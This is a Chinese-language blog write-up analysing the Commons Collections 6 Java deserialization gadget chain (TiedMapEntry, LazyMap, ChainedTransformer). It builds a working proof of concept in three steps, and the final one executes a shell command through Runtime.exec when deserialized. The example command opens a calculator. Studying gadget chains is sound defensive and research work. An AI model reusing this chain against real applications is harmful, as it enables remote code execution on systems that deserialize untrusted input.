前言
越来越摆了,纪念我啥也没干的一周
分析
这条链不受jdk版本限制而且和URLDNS那条类似(抽空又去看了一下。
借白日梦组长的图和yso
它和CC1后半部分是一样的,调用LazyMap.get
然后ChainedTransformer.transform()
主要前面是利用HashMap.put
,然后我们之前分析过urldns链知道,它会调用hashCode
方法。再去调用这个LazyMap
的get
而作者这里就找到了一个TiedMapEntry
类,我们可以跟进发现,他的hashCode
调用了getValue
方法
再跟进,就会发现这里调用了一个map.get
,而这个map
我们传入为LazyMap
就完成了整条链的利用
我们尝试编写POC
public class CommonsCollections6 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap1, chainedTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk"); HashMap<Object, Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry, "qqw");
serialize(hashMap2); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object object = ois.readObject(); return object; } }
|
这样我们知道其实是不行的,因为在urldns那条链里我们就发现,它在put的时候就已经走了hash方法,所以在序列化的时候就已经执行了,并没有到反序列化。
这个问题的话,我们就可以改前面的LazyMap,然后利用反射去改回来
如下
public class CommonsCollections6 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap1, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk"); HashMap<Object, Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry, "qqw");
Class cls = lazyMap.getClass(); Field factoryField = cls.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
serialize(hashMap2); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object object = ois.readObject(); return object; } }
|
这样的话,在put
就不会触发调用了,序列化的时候改回来就可以了。
但是我们在反序列化的时候,发现这样也没有执行。我们在put下个断点debug看一下
我们一路跟到这里会发现,LazyMap
的get
方法首先会判断这个key是否存在,如果不存在,它也会执行一个put,把我们这个key存进去,所以在反序列化的时候,这里就已经有这个key了
这个问题我们只需要remove掉原先的那个key就好了
最终的POC如下
public class CommonsCollections6 { public static void main(String[] args) throws IOException, ClassNotFoundException, NoSuchFieldException, IllegalAccessException { Transformer[] transformers = new Transformer[]{ new ConstantTransformer(Runtime.class), new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}), new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}), new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"open /System/Applications/Calculator.app"}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); HashMap<Object, Object> hashMap1 = new HashMap<>(); Map lazyMap = LazyMap.decorate(hashMap1, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "lnk"); HashMap<Object, Object> hashMap2 = new HashMap<>(); hashMap2.put(tiedMapEntry, "qqw"); lazyMap.remove("lnk");
Class cls = lazyMap.getClass(); Field factoryField = cls.getDeclaredField("factory"); factoryField.setAccessible(true); factoryField.set(lazyMap, chainedTransformer);
serialize(hashMap2); unserialize("ser.bin"); }
public static void serialize(Object obj) throws IOException { ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin")); oos.writeObject(obj); }
public static Object unserialize(String filename) throws IOException, ClassNotFoundException { ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename)); Object object = ois.readObject(); return object; } }
|